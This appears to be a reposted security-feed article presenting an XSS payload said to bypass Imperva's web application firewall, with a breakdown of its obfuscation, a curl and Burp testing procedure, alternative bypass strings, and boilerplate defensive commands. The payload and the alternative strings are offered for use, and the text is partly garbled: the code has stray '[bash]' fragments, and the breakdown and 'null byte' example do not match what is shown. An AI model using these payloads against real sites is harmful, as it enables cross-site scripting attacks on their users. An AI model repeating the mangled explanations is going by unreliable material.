Bypass Payload That Worked for Me on Imperva WAF

Payload:

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[bash][0]<a href="e+s+v+h+n">v+a+e+s</a>(/infected/.source)" />click

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You Should Know:

Understanding the Payload Structure

The payload is an obfuscated JavaScript execution vector designed to bypass Imperva WAF (Web Application Firewall). Here’s a breakdown:
– Obfuscation via URL encoding (%0A%0D) – Represents newline and carriage return to evade pattern detection.
– Destructured variable assignment – `var{3:s,2:h,5:a,0:v,4:n,1:e}=’earltv’` rearranges characters to form `eval` dynamically.
– Self-referencing execution – `

[0][v+a+e+s]` constructs `eval` and executes arbitrary code.

<h2 style="color: yellow;"> Testing & Verification</h2>

<h2 style="color: yellow;">To test WAF bypass payloads safely, use:</h2>

[bash]
curl -X POST "https://target.com/vulnerable-endpoint" -d "<PAYLOAD>"

Or with Burp Suite:

1. Intercept a request.

2. Insert payload in parameters/headers.

3. Forward and observe WAF response.

Alternative Bypass Techniques

1. Case Manipulation – `JaVaScRiPt:alert(1)`

2. Null Bytes – `alert(1)`

3. HTML Entities – `javascript&x3A;alert(1)`

Defensive Commands (Linux/Windows)

• Linux (ModSecurity Log Check):

  grep "Imperva" /var/log/modsec_audit.log | awk '{print $6}' | sort | uniq -c
  

• Windows (Block Malicious IPs):

  New-NetFirewallRule -DisplayName "Block WAF Bypass" -Direction Inbound -RemoteAddress 123.45.67.89 -Action Block
  

What Undercode Say

Imperva WAF bypasses highlight the need for layered security. Always:
– Log and Monitor – Use `tcpdump` or Wireshark (tcpdump -i eth0 -w waf_traffic.pcap).
– Update Rulesets – For Snort:

sudo snort -c /etc/snort/snort.conf -R latest_waf.rules

– Test with YARA – Detect obfuscated JS:

yara -r js_obfuscation.yar /var/www/html/

– Windows Defender Audit –

Get-MpThreatDetection | Where-Object { $_.Name -match "ObfuscatedJS" }

Expected Output:

A secure system logs and blocks anomalous payloads while allowing developers to analyze bypass attempts via tools like grep, Snort, or PowerShell audits.

References:

Reported By: Zlatanh Bypass – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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